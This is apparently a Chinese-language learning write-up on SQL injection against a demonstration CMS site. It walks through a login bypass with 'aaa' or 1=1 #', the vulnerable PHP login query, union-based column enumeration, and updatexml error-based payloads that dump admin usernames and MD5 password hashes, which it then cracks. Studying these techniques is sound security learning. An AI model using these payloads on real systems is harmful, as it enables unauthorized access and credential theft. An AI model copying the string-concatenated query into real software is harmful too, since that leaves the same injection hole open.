SQL注入案例及原理
前言
本次将简单的学习SQL注入案例及原理
一、SQL注入是什么?
二、通过万能用户名来登录网页管理系统
万能用户名
这两个就是万能用户名,下面将进行实际操作
aaa’ or 1=1 #
aaa’ or ‘1’='1
首先进入演示网站中的后台管理
可以看到有一个登录界面
这里随便输入一个用户名和密码登录/用户名:admin
密码:password
可以看到登录失败
使用bp抓包查看,可以发现登录包为POST请求,而且可以看到我们刚刚输入的用户名和密码,以及请求回显为200
这次我们使用万能用户名登录/用户名:aaa' or 1=1 #
密码:1
发现可以登录,用户名为我们刚刚输入的万能用户名
使用bp抓包查看,POST请求包中输入的用户名所包含的特殊字符变成了URL编码,%27为'
,空格为了+
,等于号为%3D
,井号为%23
。回显中发现密码变为了MD5形式。
由此可以推断这个网页源码存在问题
解析
以下为源码文件
<?php
session_start ();
header('Content-Type: text/html; charset=utf-8');
include_once ("../include/config.inc.php");
if (isset ( $_POST ["username"] )) {
$username = $_POST ["username"];
} else {
$username = "";
}
if (isset ( $_POST ["password"] )) {
$password = $_POST ["password"];
} else {
$password = "";
}
//记住用户名
setcookie (username, $username,time()+3600*24*365);
if (empty($username)||empty($password)){
exit("<script>alert('用户名或密码不能为空!');window.history.go(-1)</script>");
}
$user_row = $db->getOneRow("select userid from cms_users where username = '".$username."' and password='".md5 ( $password ) ."'");
echo "select userid from cms_users where username = '".$username."' and password='".md5 ( $password ) ."'";
if (!empty($user_row )) {
setcookie (userid, $user_row ['userid'] );
header("Location: index.php");
}else{
//echo "select userid from cms_users where username = '".$username."' and password='".md5 ( $password ) ."'";
exit("<script>alert('用户名或密码不正确!');window.history.go(-1)</script>");
}
?>
$user_row = $db->getOneRow("select userid from cms_users where username = '".$username."' and password='".md5 ( $password ) ."'");
//可以看出包含了SQL语句,登录验证方式为通过select查询cms库中users表的信息,判断是否有该用户。
我们将万能用户名代入
$user_row = $db->getOneRow("select userid from cms_users where username = 'aaa' or 1=1 #".$username."' and password='".md5 ( $password ) ."'");
这样可以分为两段,分别是
1.$user_row = $db->getOneRow("select userid from cms_users where username = 'aaa' or 1=1 #
2.".$username."' and password='".md5 ( $password ) ."'");
第二段变为注释内容,第一段可以理解为使用了`or`运算符,一个为真都为真,其中`1=1`为真,所有恒为真,后面的`#`为注释内容
三.联合查询
进入页面随便点击一篇文章,可以看到有?id=33
,将33更改为34
发现将?id=33
改为?id=34
后网页内容发生了改变现在在?id=34
后面加入'
,查看有什么变化
这里使用的工具是HackBar,发现网页报错解析一下报错信息
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’’ at line 1
其中主要看的内容为near ‘’’
,其中一个'
是我们输入的,按照SQL语句来看应该是select FUZZ from FUZZ where id=34
,因为多输了一个'
所有报错,另外这个id
所获取的是数字类型,不是字符串类型
在id=34
后面添加and 1=1
,发现网页信息又会重新显示出来
通过order by
来判断列数
显示没有100列,使用二分查找法继续判断,最后发现只有15行
使用联合查询来判断显示位数union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
发现没有什么变化,这是因为需要把id=34
改为假,这里我们改为id=-34
发现3
和11
有回显,我们将3
改为version()
,11
改为database()
,查看结果
这样子原先3
的位置变为了数据库的版本,·11
的位置变成了数据库的名称
四.获取后台管理员账密
有四种方法,其中布尔盲注和延时注入的成本极高,望谨慎执行
1.联合查询
首先查询cms库中所有的表名
其中count(*)
是显示表的数量,hex(group_concat(table_name))
是显示表名,这里可以使用bp中的Decoder转换,information_schema.tables where table_schema=database()
为所查询的库
查询cms_users表的信息,发现有两个用户,这里显示的是第一个用户
使用limit 1,1
,就可以查询出第二个用户
2.报错注入
首先查询库名
updatexml(1,concat(0x5e,(select database()),0x5e),1)
查询cms库中表的个数
id=34 and updatexml(1,concat(0x5e,(select count(*) from information_schema.tables where table_schema=database()),0x5e),1)
逐一获取表名
updatexml(1,concat(0x5e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x5e),1)
第八个表为cms_users表
查询cms_users表中有几个数据。0x636d735f7573657273
为cms_users
的16进制转换
updatexml(1,concat(0x5e,(select count(*) from information_schema.columns where table_schema=database() and table_name=0x636d735f7573657273),0x5e),1)
查询各个数据
updatexml(1,concat(0x5e,(select column_name from information_schema.columns where table_schema=database() and table_name=0x636d735f7573657273 limit 0,1),0x5e),1)
分别为userid
、username
、password
,因为userid
没有什么用处,主要精力放在username
和password
上
updatexml(1,concat(0x5e,(select username from cms_users limit 0,1),0x5e),1)//查询username表中第一个用户名
这是第二个用户名查询admin
的密码为[e10adc3949ba59abbe56e057f20f883e](https://www.somd5.com/)
,123456
updatexml(1,concat(0x5e,(select substr(password,1,16) from cms_users limit 0,1),0x5e),1)
updatexml(1,concat(0x5e,(select substr(password,17,32) from cms_users limit 0,1),0x5e),1)
//因为是MD5加密的32位密码,所有分两次查询
查询ajest
的密码和上述相同,密码为cbff36039c3d0212b3e34c23dcde1456
,123.com
受不了了,布尔盲注和延时注入稍后再说